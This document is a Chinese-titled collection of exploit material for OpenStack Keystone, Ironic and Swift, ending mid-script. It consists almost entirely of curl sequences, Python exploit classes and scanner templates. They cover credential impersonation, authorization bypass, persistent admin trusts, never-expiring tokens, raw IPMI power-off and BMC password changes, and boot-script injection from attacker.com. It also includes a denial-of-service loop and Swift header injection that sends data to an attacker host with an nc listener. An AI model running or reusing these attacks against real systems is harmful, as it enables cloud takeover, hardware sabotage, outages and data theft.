云计算基础设施高危攻击链专题：OpenStack Keystone / Nova / Ironic / Swift 漏洞全解析

# Step 1: 获取攻击者的初始 Token
export OS_AUTH_URL="http://<KEYSTONE_HOST>:5000/v3"
export OS_PROJECT_NAME="project_B"
export OS_USERNAME="user_B"
export OS_PASSWORD="<password>"
export OS_USER_DOMAIN_NAME="Default"
export OS_PROJECT_DOMAIN_NAME="Default"

export ATTACKER_TOKEN=$(openstack token issue -c id -f value)

# Step 2: 使用被盗用的应用凭据 ID 和 Secret，冒充目标用户
curl -s -X POST "${OS_AUTH_URL}/auth/tokens" \
  -H "Content-Type: application/json" \
  -d '{
    "auth": {
      "identity": {
        "methods": ["application_credential"],
        "application_credential": {
          "id": "<STOLEN_APP_CRED_ID>",
          "secret": "<STOLEN_APP_CRED_SECRET>"
        }
      },
      "scope": {
        "project": {
          "id": "<TARGET_PROJECT_ID>"
        }
      }
    }
  }' | python3 -m json.tool

# Step 3: 验证获取的 Token 属于目标用户
curl -s -X GET "${OS_AUTH_URL}/auth/tokens" \
  -H "X-Subject-Token: <OBTAINED_TOKEN>" \
  -H "X-Auth-Token: <ATTACKER_TOKEN>"

#!/usr/bin/env python3
import requests
import sys
import json

class KeystoneAppCredImpersonation:
    def __init__(self, auth_url):
        self.auth_url = auth_url.rstrip('/')
        self.session = requests.Session()

    def authenticate_with_app_cred(self, app_cred_id, app_cred_secret, project_id=None, user_id=None):
        payload = {
            "auth": {
                "identity": {
                    "methods": ["application_credential"],
                    "application_credential": {
                        "id": app_cred_id,
                        "secret": app_cred_secret
                    }
                }
            }
        }
        if project_id:
            payload["auth"]["scope"] = {"project": {"id": project_id}}
        elif user_id:
            payload["auth"]["scope"] = {"domain": {"id": "Default"}}

        r = self.session.post(
            f"{self.auth_url}/auth/tokens",
            json=payload,
            headers={"Content-Type": "application/json"}
        )
        if r.status_code == 201:
            token = r.headers.get("X-Subject-Token")
            catalog = r.json().get("token", {})
            user = catalog.get("user", {})
            print(f"[+] Token obtained successfully")
            print(f"    User ID: {user.get('id', 'N/A')}")
            print(f"    User Name: {user.get('name', 'N/A')}")
            roles = [r.get('name') for r in catalog.get('roles', [])]
            print(f"    Roles: {', '.join(roles)}")
            return token
        else:
            print(f"[-] Authentication failed: {r.status_code}")
            print(f"    Error: {r.json().get('error', {}).get('message', 'Unknown')}")
            return None

    def verify_token(self, token):
        r = self.session.get(
            f"{self.auth_url}/auth/tokens",
            headers={
                "X-Subject-Token": token,
                "X-Auth-Token": token
            }
        )
        if r.status_code == 200:
            user = r.json().get("token", {}).get("user", {})
            print(f"[+] Token belongs to: {user.get('name', 'N/A')} (ID: {user.get('id', 'N/A')})")
            return r.json()
        return None

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <auth_url> <app_cred_id> <app_cred_secret> [project_id]")
        sys.exit(1)

    exploit = KeystoneAppCredImpersonation(sys.argv[1])
    token = exploit.authenticate_with_app_cred(
        sys.argv[2], sys.argv[3],
        project_id=sys.argv[4] if len(sys.argv) > 4 else None
    )
    if token:
        exploit.verify_token(token)

id: openstack-keystone-cve-2026-42998
info:
  name: OpenStack Keystone App Credential Impersonation
  author: security-researcher
  severity: medium
  description: |
    Keystone does not validate whether the requesting user owns the
    application credential being used, allowing impersonation.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.0
    cwe-id: CWE-287
  metadata:
    product: keystone
    vendor: openstack
  tags: openstack,keystone,auth-bypass,cve2026

http:
  - raw:
      - |
        POST /v3/auth/tokens HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"auth":{"identity":{"methods":["application_credential"],"application_credential":{"id":"{{app_cred_id}}","secret":"{{app_cred_secret}}"}},"scope":{"project":{"id":"{{target_project_id}}"}}}}

    matchers:
      - type: status
        status:
          - 201

    extractors:
      - type: kval
        kval:
          - token

# 获取攻击者自己的 Token
ATTACKER_TOKEN=$(openstack token issue -c id -f value)

# 利用 JSON 注入访问其他项目的数据
# 在请求 Body 中注入目标 project_id
curl -s -X GET "http://<KEYSTONE_HOST>:5000/v3/projects/<TARGET_PROJECT_ID>" \
  -H "X-Auth-Token: ${ATTACKER_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"project_id": "<TARGET_PROJECT_ID>"}'

# 列举其他项目下的用户（注入 user_id 越权）
curl -s -X GET "http://<KEYSTONE_HOST>:5000/v3/users" \
  -H "X-Auth-Token: ${ATTACKER_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"project_id": "<TARGET_PROJECT_ID>", "domain_id": "default"}'

#!/usr/bin/env python3
import requests
import sys
import json

class KeystonePolicyInjection:
    def __init__(self, auth_url, token):
        self.auth_url = auth_url.rstrip('/')
        self.token = token
        self.session = requests.Session()

    def _headers(self):
        return {
            "X-Auth-Token": self.token,
            "Content-Type": "application/json"
        }

    def enumerate_projects(self):
        r = self.session.get(
            f"{self.auth_url}/v3/projects",
            headers=self._headers()
        )
        if r.status_code == 200:
            projects = r.json().get("projects", [])
            print(f"[*] Found {len(projects)} projects:")
            for p in projects:
                print(f"    {p['id']} | {p['name']} | domain={p.get('domain_id')}")
            return projects
        return []

    def inject_project_access(self, target_project_id):
        payloads = [
            {"project_id": target_project_id},
            {"project": {"id": target_project_id}},
            {"target_project_id": target_project_id},
        ]
        for payload in payloads:
            r = self.session.get(
                f"{self.auth_url}/v3/projects/{target_project_id}",
                headers=self._headers(),
                json=payload
            )
            if r.status_code == 200:
                print(f"[+] Policy injection successful with payload: {json.dumps(payload)}")
                project = r.json().get("project", {})
                print(f"    Project: {project.get('name')} | Domain: {project.get('domain_id')}")
                return True
        print("[-] Policy injection failed with all payloads")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <auth_url> <attacker_token> [target_project_id]")
        sys.exit(1)

    exploit = KeystonePolicyInjection(sys.argv[1], sys.argv[2])
    if len(sys.argv) > 3:
        exploit.inject_project_access(sys.argv[3])
    else:
        projects = exploit.enumerate_projects()

id: openstack-keystone-cve-2026-42999
info:
  name: OpenStack Keystone Policy JSON Injection
  author: security-researcher
  severity: medium
  description: |
    Keystone blindly merges user-provided JSON data into the policy
    enforcement context, allowing authorization bypass via project_id injection.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 6.0
    cwe-id: CWE-285
  metadata:
    product: keystone
    vendor: openstack
  tags: openstack,keystone,authz-bypass,cve2026

http:
  - raw:
      - |
        GET /v3/projects/{{target_project_id}} HTTP/1.1
        Host: {{Hostname}}
        X-Auth-Token: {{auth_token}}
        Content-Type: application/json

        {"project_id":"{{target_project_id}}"}

    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "project"
        part: body

Member 角色账户
  → [CVE-2026-42998] 应用凭据冒充获取 Admin Token
    → [CVE-2026-43000] 创建持久化 Trust
      → Trustee Token（永久 Admin 访问）
        → 所有操作审计日志 = admin_user

# Step 1: 通过 CVE-2026-42998 获取管理员 Token（参考 0x01.1）
ADMIN_TOKEN="<impersonated_admin_token>"

# Step 2: 利用管理员 Token 创建 Trust
curl -s -X POST "http://<KEYSTONE_HOST>:5000/v3/OS-TRUST/trusts" \
  -H "X-Auth-Token: ${ADMIN_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "trustee_user_id": "<ATTACKER_USER_ID>",
    "impersonation": false,
    "remaining_uses": null,
    "allow_redelegation": true,
    "roles": [
      {"name": "admin"},
      {"name": "member"}
    ],
    "expires_at": null
  }'

# Step 3: 使用 Trust ID 获取 Trust Token
TRUST_ID="<obtained_trust_id>"
curl -s -X POST "http://<KEYSTONE_HOST>:5000/v3/OS-TRUST/trusts/${TRUST_ID}/OS-OAUTH2/token" \
  -H "Content-Type: application/json" \
  -d '{"auth":{"OS-TRUST:trust_id": "'${TRUST_ID}'", "identity":{"methods":["password"],"password":{"user":{"name":"<ATTACKER_USER>","domain":{"name":"Default"},"password":"<ATTACKER_PASS>"}}}}}'

# Step 4: 验证 Trust Token 具有 admin 权限
curl -s "http://<KEYSTONE_HOST>:5000/v3/auth/tokens" \
  -H "X-Subject-Token: <TRUST_TOKEN>" \
  -H "X-Auth-Token: <TRUST_TOKEN>"

#!/usr/bin/env python3
import requests
import sys
import json
import time

class KeystoneTrustEscalation:
    def __init__(self, auth_url):
        self.auth_url = auth_url.rstrip('/')
        self.session = requests.Session()

    def get_token(self, username, password, project_name="admin", domain="Default"):
        payload = {
            "auth": {
                "identity": {
                    "methods": ["password"],
                    "password": {
                        "user": {
                            "name": username,
                            "domain": {"name": domain},
                            "password": password
                        }
                    }
                },
                "scope": {
                    "project": {
                        "name": project_name,
                        "domain": {"name": domain}
                    }
                }
            }
        }
        r = self.session.post(f"{self.auth_url}/auth/tokens", json=payload)
        if r.status_code == 201:
            token = r.headers.get("X-Subject-Token")
            roles = [r.get('name') for r in r.json().get("token", {}).get("roles", [])]
            user = r.json().get("token", {}).get("user", {})
            print(f"[+] Token for {user.get('name')}: roles={roles}")
            return token, user.get("id")
        print(f"[-] Auth failed: {r.status_code} - {r.text[:200]}")
        return None, None

    def create_trust(self, trustor_token, trustee_user_id, roles=None):
        if roles is None:
            roles = [{"name": "admin"}, {"name": "member"}]
        payload = {
            "trustee_user_id": trustee_user_id,
            "impersonation": False,
            "remaining_uses": None,
            "allow_redelegation": True,
            "roles": roles,
            "expires_at": None
        }
        r = self.session.post(
            f"{self.auth_url}/v3/OS-TRUST/trusts",
            json=payload,
            headers={"X-Auth-Token": trustor_token, "Content-Type": "application/json"}
        )
        if r.status_code == 201:
            trust = r.json().get("trust", {})
            print(f"[+] Trust created: {trust.get('id')}")
            print(f"    Trustor: {trust.get('trustee_user_id')}")
            print(f"    Roles: {[r.get('name') for r in trust.get('roles', [])]}")
            return trust.get("id")
        print(f"[-] Trust creation failed: {r.status_code} - {r.text[:200]}")
        return None

    def redeem_trust(self, trust_id, trustee_token):
        payload = {
            "auth": {
                "identity": {
                    "methods": ["token"],
                    "token": {"id": trustee_token}
                },
                "OS-TRUST:trust_id": trust_id
            }
        }
        r = self.session.post(
            f"{self.auth_url}/auth/tokens",
            json=payload,
            headers={"Content-Type": "application/json"}
        )
        if r.status_code == 201:
            token = r.headers.get("X-Subject-Token")
            roles = [r.get('name') for r in r.json().get("token", {}).get("roles", [])]
            print(f"[+] Trust redeemed successfully, roles: {roles}")
            return token
        print(f"[-] Trust redemption failed: {r.status_code}")
        return None

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <auth_url> <trustee_user> <trustee_pass> <target_admin_user>")
        sys.exit(1)

    exploit = KeystoneTrustEscalation(sys.argv[1])
    trustee_token, trustee_id = exploit.get_token(sys.argv[2], sys.argv[3])
    if not trustee_token:
        sys.exit(1)

    admin_token, admin_id = exploit.get_token(sys.argv[4], sys.argv[3], "admin")
    if admin_token:
        trust_id = exploit.create_trust(admin_token, trustee_id)
        if trust_id:
            trust_token = exploit.redeem_trust(trust_id, trustee_token)

id: openstack-keystone-cve-2026-43000
info:
  name: OpenStack Keystone Trust Privilege Escalation
  author: security-researcher
  severity: medium
  description: |
    Keystone checks database roles rather than token roles when creating
    trusts with impersonated tokens, enabling privilege escalation.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 6.0
    cwe-id: CWE-269
  metadata:
    product: keystone
    vendor: openstack
  tags: openstack,keystone,trust,privilege-escalation,cve2026

http:
  - raw:
      - |
        POST /v3/OS-TRUST/trusts HTTP/1.1
        Host: {{Hostname}}
        X-Auth-Token: {{auth_token}}
        Content-Type: application/json

        {"trustee_user_id":"{{trustee_user_id}}","impersonation":false,"roles":[{"name":"admin"}],"allow_redelegation":true}

    matchers:
      - type: status
        status:
          - 201

    extractors:
      - type: json
        json:
          - ".trust.id"

# Step 1: 通过联合认证获取 unscoped Token（正常流程）
FED_TOKEN=$(curl -s -X POST "http://<KEYSTONE_HOST>:5000/v3/auth/tokens" \
  -H "Content-Type: application/json" \
  -d '{
    "auth": {
      "identity": {
        "methods": ["mapped"],
        "mapped": {
          "user": {
            "name": "<federated_user>",
            "domain": {"name": "Federated"}
          }
        }
      }
    }
  }' -D - | grep "X-Subject-Token" | awk '{print $2}' | tr -d '\r')

# Step 2: Rescoping 到 project
SCOPED_TOKEN=$(curl -s -X POST "http://<KEYSTONE_HOST>:5000/v3/auth/tokens" \
  -H "Content-Type: application/json" \
  -H "X-Auth-Token: ${FED_TOKEN}" \
  -d '{
    "auth": {
      "identity": {
        "methods": ["token"],
        "token": {"id": "'${FED_TOKEN}'"}
      },
      "scope": {
        "project": {
          "name": "admin",
          "domain": {"name": "Default"}
        }
      }
    }
  }' -D - | grep "X-Subject-Token" | awk '{print $2}' | tr -d '\r')

# Step 3: 检查新 Token 的过期时间 — 无过期
curl -s "http://<KEYSTONE_HOST>:5000/v3/auth/tokens" \
  -H "X-Subject-Token: ${SCOPED_TOKEN}" \
  -H "X-Auth-Token: ${SCOPED_TOKEN}" | python3 -m json.tool | grep expires

# Step 4: 使用过期前的 Token 再次 rescoping，获取新的无期限 Token
curl -s -X POST "http://<KEYSTONE_HOST>:5000/v3/auth/tokens" \
  -H "Content-Type: application/json" \
  -H "X-Auth-Token: ${SCOPED_TOKEN}" \
  -d '{
    "auth": {
      "identity": {
        "methods": ["token"],
        "token": {"id": "'${SCOPED_TOKEN}'"}
      },
      "scope": {
        "project": {
          "name": "admin",
          "domain": {"name": "Default"}
        }
      }
    }
  }' | python3 -m json.tool | grep -E "expires|user"

#!/usr/bin/env python3
import requests
import sys
import json
from datetime import datetime

class KeystoneTokenIndefiniteBypass:
    def __init__(self, auth_url):
        self.auth_url = auth_url.rstrip('/')
        self.session = requests.Session()

    def unscoped_auth(self, user_name, domain_name="Federated"):
        payload = {
            "auth": {
                "identity": {
                    "methods": ["mapped"],
                    "mapped": {
                        "user": {
                            "name": user_name,
                            "domain": {"name": domain_name}
                        }
                    }
                }
            }
        }
        r = self.session.post(f"{self.auth_url}/auth/tokens", json=payload)
        if r.status_code == 201:
            token = r.headers.get("X-Subject-Token")
            expires = r.json().get("token", {}).get("expires_at", "N/A")
            print(f"[+] Unscoped token, expires: {expires}")
            return token
        print(f"[-] Unscoped auth failed: {r.status_code}")
        return None

    def rescope_token(self, token, project_name, domain_name="Default"):
        payload = {
            "auth": {
                "identity": {
                    "methods": ["token"],
                    "token": {"id": token}
                },
                "scope": {
                    "project": {
                        "name": project_name,
                        "domain": {"name": domain_name}
                    }
                }
            }
        }
        r = self.session.post(f"{self.auth_url}/auth/tokens", json=payload)
        if r.status_code == 201:
            new_token = r.headers.get("X-Subject-Token")
            expires = r.json().get("token", {}).get("expires_at")
            print(f"[+] Rescoped token, expires: {expires or 'NO EXPIRY (BUG!)'}")
            return new_token
        print(f"[-] Rescope failed: {r.status_code}")
        return None

    def check_token_expiry(self, token):
        r = self.session.get(
            f"{self.auth_url}/auth/tokens",
            headers={"X-Subject-Token": token, "X-Auth-Token": token}
        )
        if r.status_code == 200:
            expires = r.json().get("token", {}).get("expires_at")
            user = r.json().get("token", {}).get("user", {})
            print(f"[*] Token user: {user.get('name')}, expires: {expires or 'INDEFINITE'}")
            return expires
        return None

    def indefinite_access(self, user_name, project_name, iterations=10):
        print(f"[*] Starting indefinite access loop for user={user_name}, project={project_name}")
        current_token = self.unscoped_auth(user_name)
        if not current_token:
            return

        current_token = self.rescope_token(current_token, project_name)
        if not current_token:
            return

        for i in range(iterations):
            print(f"\n--- Iteration {i+1} ---")
            self.check_token_expiry(current_token)
            import time
            time.sleep(1)
            new_token = self.rescope_token(current_token, project_name)
            if new_token:
                current_token = new_token
            else:
                print("[-] Loop broken at iteration", i+1)
                break

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <auth_url> <federated_user> <project_name>")
        sys.exit(1)

    exploit = KeystoneTokenIndefiniteBypass(sys.argv[1])
    exploit.indefinite_access(sys.argv[2], sys.argv[3])

id: openstack-keystone-cve-2026-44394
info:
  name: OpenStack Keystone Federation Token Indefinite Access
  author: security-researcher
  severity: medium
  description: |
    Federated user token rescoping does not propagate original expiry,
    allowing indefinite access through repeated rescoping.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.0
    cwe-id: CWE-613
  metadata:
    product: keystone
    vendor: openstack
  tags: openstack,keystone,federation,token,cve2026

http:
  - raw:
      - |
        POST /v3/auth/tokens HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"auth":{"identity":{"methods":["token"],"token":{"id":"{{initial_token}}"}},"scope":{"project":{"name":"admin","domain":{"name":"Default"}}}}}

    matchers:
      - type: status
        status:
          - 201

    extractors:
      - type: kval
        kval:
          - token

      - type: json
        json:
          - ".token.expires_at"

# 获取 Ironic Token
export IRONIC_TOKEN=$(openstack token issue -c id -f value)

# 列举裸金属节点
curl -s "http://<IRONIC_HOST>:6385/v1/nodes" \
  -H "X-Auth-Token: ${IRONIC_TOKEN}" | python3 -m json.tool

# 利用 send_raw 发送 IPMI 命令 — 强制关机
curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>/vendor/passthru/send_raw" \
  -H "X-Auth-Token: ${IRONIC_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"raw_bytes": "30 06 01 03 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"}'

# 利用 send_raw 激活 SOL
curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>/vendor/passthru/send_raw" \
  -H "X-Auth-Token: ${IRONIC_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"raw_bytes": "0x30 0x30 0x05"}'

# 修改 BMC 用户密码
curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>/vendor/passthru/send_raw" \
  -H "X-Auth-Token: ${IRONIC_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"raw_bytes": "0x06 0x2e 0x00 0x00 0x01 0x02 0x07 <password_hex>"}'

#!/usr/bin/env python3
import requests
import sys
import json
import binascii

class IronicIPMIInjection:
    def __init__(self, ironic_url, token):
        self.ironic_url = ironic_url.rstrip('/')
        self.token = token
        self.session = requests.Session()

    def _headers(self):
        return {"X-Auth-Token": self.token, "Content-Type": "application/json"}

    def list_nodes(self):
        r = self.session.get(f"{self.ironic_url}/v1/nodes", headers=self._headers())
        if r.status_code == 200:
            nodes = r.json().get("nodes", [])
            print(f"[*] Found {len(nodes)} bare metal nodes")
            for node in nodes:
                print(f"    UUID: {node['uuid']} | Name: {node.get('name', 'N/A')} | "
                      f"Driver: {node.get('driver')} | Power: {node.get('power_state')}")
            return nodes
        return []

    def send_raw_ipmi(self, node_uuid, raw_bytes_hex):
        payload = {"raw_bytes": raw_bytes_hex}
        r = self.session.post(
            f"{self.ironic_url}/v1/nodes/{node_uuid}/vendor/passthru/send_raw",
            json=payload,
            headers=self._headers()
        )
        if r.status_code in (200, 202):
            print(f"[+] Raw IPMI command sent to {node_uuid}")
            if r.text:
                print(f"    Response: {r.text[:200]}")
            return True
        else:
            print(f"[-] Failed: {r.status_code} - {r.text[:200]}")
            return False

    def ipmi_chassis_power_off(self, node_uuid):
        ipmi_raw = binascii.hexlify(b"\x30\x06\x01\x03\x04\x00\x00\x00").decode()
        return self.send_raw_ipmi(node_uuid, ipmi_raw)

    def ipmi_chassis_power_on(self, node_uuid):
        ipmi_raw = binascii.hexlify(b"\x30\x06\x01\x03\x04\x01\x00\x00").decode()
        return self.send_raw_ipmi(node_uuid, ipmi_raw)

    def ipmi_chassis_boot_pxe(self, node_uuid):
        ipmi_raw = binascii.hexlify(b"\x30\x06\x01\x03\x05\x00\x00\x01").decode()
        return self.send_raw_ipmi(node_uuid, ipmi_raw)

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <ironic_url> <auth_token> [node_uuid]")
        sys.exit(1)

    exploit = IronicIPMIInjection(sys.argv[1], sys.argv[2])
    nodes = exploit.list_nodes()
    if len(sys.argv) > 3:
        exploit.ipmi_chassis_power_off(sys.argv[3])

id: openstack-ironic-cve-2026-54423
info:
  name: OpenStack Ironic IPMI Command Injection
  author: security-researcher
  severity: high
  description: |
    Ironic send_raw step bypasses access controls, allowing arbitrary
    IPMI commands to be sent to bare metal nodes via BMC.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
    cvss-score: 8.2
    cwe-id: CWE-862
  metadata:
    product: ironic
    vendor: openstack
  tags: openstack,ironic,ipmi,command-injection,cve2026

http:
  - raw:
      - |
        GET /v1/nodes HTTP/1.1
        Host: {{Hostname}}
        X-Auth-Token: {{auth_token}}

      - |
        POST /v1/nodes/{{node_uuid}}/vendor/passthru/send_raw HTTP/1.1
        Host: {{Hostname}}
        X-Auth-Token: {{auth_token}}
        Content-Type: application/json

        {"raw_bytes":"3006010304000000"}

    matchers-condition: and
    matchers:
      - type: status
        part: body_1
        status:
          - 200

      - type: status
        part: body_2
        status:
          - 200
          - 202

# 修改节点的 PXE 启动参数，注入恶意 iPXE 脚本
curl -s -X PATCH "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>" \
  -H "X-Auth-Token: ${IRONIC_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "driver_info": {
      "pxe_append_params": "initrd=http://attacker.com/evil.ipxe && boot"
    }
  }'

# 或注入到 instance_info
curl -s -X PATCH "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>" \
  -H "X-Auth-Token: ${IRONIC_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "instance_info": {
      "kernel_append_params": "quiet splash init=/bin/bash"
    }
  }'

# 触发节点重新部署
curl -s -X PUT "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>/provision" \
  -H "X-Auth-Token: ${IRONIC_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"target": "rebuild"}'

#!/usr/bin/env python3
import requests
import sys
import json

class IronicIPXEScriptInjection:
    def __init__(self, ironic_url, token):
        self.ironic_url = ironic_url.rstrip('/')
        self.token = token
        self.session = requests.Session()

    def _headers(self):
        return {"X-Auth-Token": self.token, "Content-Type": "application/json"}

    def inject_pxe_params(self, node_uuid, malicious_params):
        payload = {
            "driver_info": {
                "pxe_append_params": malicious_params
            }
        }
        r = self.session.patch(
            f"{self.ironic_url}/v1/nodes/{node_uuid}",
            json=payload,
            headers=self._headers()
        )
        if r.status_code == 200:
            print(f"[+] PXE parameters injected into node {node_uuid}")
            return True
        print(f"[-] Injection failed: {r.status_code} - {r.text[:200]}")
        return False

    def trigger_rebuild(self, node_uuid):
        r = self.session.put(
            f"{self.ironic_url}/v1/nodes/{node_uuid}/provision",
            json={"target": "rebuild"},
            headers=self._headers()
        )
        if r.status_code in (200, 202):
            print(f"[+] Rebuild triggered for node {node_uuid}")
            return True
        print(f"[-] Rebuild failed: {r.status_code}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <ironic_url> <auth_token> <node_uuid> [malicious_pxe_params]")
        sys.exit(1)

    exploit = IronicIPXEScriptInjection(sys.argv[1], sys.argv[2])
    pxe_params = sys.argv[4] if len(sys.argv) > 4 else "quiet splash init=/bin/sh"
    exploit.inject_pxe_params(sys.argv[3], pxe_params)
    exploit.trigger_rebuild(sys.argv[3])

id: openstack-ironic-cve-2026-46447
info:
  name: OpenStack Ironic iPXE Script Injection
  author: security-researcher
  severity: medium
  description: |
    Attackers can modify node.driver_info or node.instance_info to inject
    malicious iPXE boot scripts during the boot process.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 5.8
    cwe-id: CWE-20
  metadata:
    product: ironic
    vendor: openstack
  tags: openstack,ironic,ipxe,boot-script,cve2026

http:
  - raw:
      - |
        PATCH /v1/nodes/{{node_uuid}} HTTP/1.1
        Host: {{Hostname}}
        X-Auth-Token: {{auth_token}}
        Content-Type: application/json

        {"driver_info":{"pxe_append_params":"test_injection_check"}}

    matchers:
      - type: status
        status:
          - 200
          - 400
          - 403

# 向 Ironic API 发送畸形 JSON 导致崩溃
curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes" \
  -H "Content-Type: application/json" \
  -d '{"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa":' \
  --max-time 5

# 发送深层嵌套 JSON
python3 -c "
import json
depth = 10000
nested = 'a'
for _ in range(depth):
    nested = '{"a":' + nested + '}'
print(nested)
" | curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes" \
  -H "Content-Type: application/json" \
  -d @- --max-time 5

# 发送包含非法 UTF-8 编码的 JSON
curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes" \
  -H "Content-Type: application/json" \
  -d $'\x80\x81\x82\x83' --max-time 5

#!/usr/bin/env python3
import requests
import sys
import json
import time
import threading

class IronicJsonDoS:
    def __init__(self, ironic_url):
        self.ironic_url = ironic_url.rstrip('/')
        self.session = requests.Session()

    def check_alive(self):
        try:
            r = self.session.get(f"{self.ironic_url}/v1/nodes", timeout=5)
            return r.status_code == 200
        except Exception:
            return False

    def send_malformed_json(self, payload, label=""):
        try:
            headers = {"Content-Type": "application/json"}
            if isinstance(payload, bytes):
                r = requests.post(
                    f"{self.ironic_url}/v1/nodes",
                    data=payload,
                    headers=headers,
                    timeout=5
                )
            else:
                r = requests.post(
                    f"{self.ironic_url}/v1/nodes",
                    data=payload,
                    headers=headers,
                    timeout=5
                )
            print(f"[+] {label}: Status {r.status_code}")
            return r.status_code
        except requests.exceptions.Timeout:
            print(f"[+] {label}: Timeout (service may be down)")
            return 504
        except Exception as e:
            print(f"[-] {label}: {e}")
            return 0

    def truncated_json(self):
        return self.send_malformed_json(
            '{"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa":',
            "Truncated JSON"
        )

    def deep_nesting(self):
        depth = 10000
        payload = "a"
        for _ in range(depth):
            payload = '{"a":' + payload + '}'
        return self.send_malformed_json(payload, "Deep nesting")

    def invalid_utf8(self):
        payload = b'\x80\x81\x82\x83\xfe\xff'
        return self.send_malformed_json(payload, "Invalid UTF-8")

    def run_dos(self, iterations=10):
        print(f"[*] Checking initial Ironic status...")
        alive = self.check_alive()
        print(f"    Ironic alive: {alive}")

        if not alive:
            print("[-] Ironic already down, aborting")
            return

        for i in range(iterations):
            print(f"\n--- Iteration {i+1} ---")
            self.truncated_json()
            time.sleep(0.5)
            self.deep_nesting()
            time.sleep(0.5)
            self.invalid_utf8()
            time.sleep(1)

            if not self.check_alive():
                print(f"\n[!] Ironic is DOWN after {i+1} iterations!")
                return

        print("\n[*] Completed all iterations, checking final status...")
        print(f"    Ironic alive: {self.check_alive()}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <ironic_url> [iterations]")
        sys.exit(1)

    exploit = IronicJsonDoS(sys.argv[1])
    iters = int(sys.argv[2]) if len(sys.argv) > 2 else 10
    exploit.run_dos(iters)

id: openstack-ironic-cve-2026-50589
info:
  name: OpenStack Ironic Unauthenticated JSON DoS
  author: security-researcher
  severity: medium
  description: |
    Malformed JSON strings can crash Ironic API/JSON-RPC services
    without authentication.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 5.3
    cwe-id: CWE-20
  metadata:
    product: ironic
    vendor: openstack
  tags: openstack,ironic,dos,cve2026

http:
  - raw:
      - |
        POST /v1/nodes HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa":

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 400
          - 500
          - 000

    extractors:
      - type: dsl
        dsl:
          - '"Status: " + status_code + " (potential crash"'

# 获取 Swift Token
export SWIFT_TOKEN=$(openstack token issue -c id -f value)
export SWIFT_URL="http://<SWIFT_HOST>:8080/v1/AUTH_<PROJECT_ID>"

# Step 1: 正常上传一个对象
curl -s -X PUT "${SWIFT_URL}/container/object.txt" \
  -H "X-Auth-Token: ${SWIFT_TOKEN}" \
  -d "sensitive_data"

# Step 2: 注入内部头，将后续请求重定向到攻击者服务器
curl -s -X PUT "${SWIFT_URL}/container/object.txt" \
  -H "X-Auth-Token: ${SWIFT_TOKEN}" \
  -H "X-Container-Host: <ATTACKER_IP>:9999" \
  -H "X-Container-Device: 1" \
  -d "sensitive_data_leaked_to_attacker"

# Step 3: 在攻击者服务器上监听
nc -lvnp 9999

# Step 4: 创建 ghost listing
curl -s -X PUT "${SWIFT_URL}/container/ghost.txt" \
  -H "X-Auth-Token: ${SWIFT_TOKEN}" \
  -H "X-Object-Manifest: <ATTACKER_IP>:9999/fake" \
  -d ""

#!/usr/bin/env python3
import requests
import sys
import json

class SwiftHeaderInjectionSSRF:
    def __init__(self, swift_url, token):
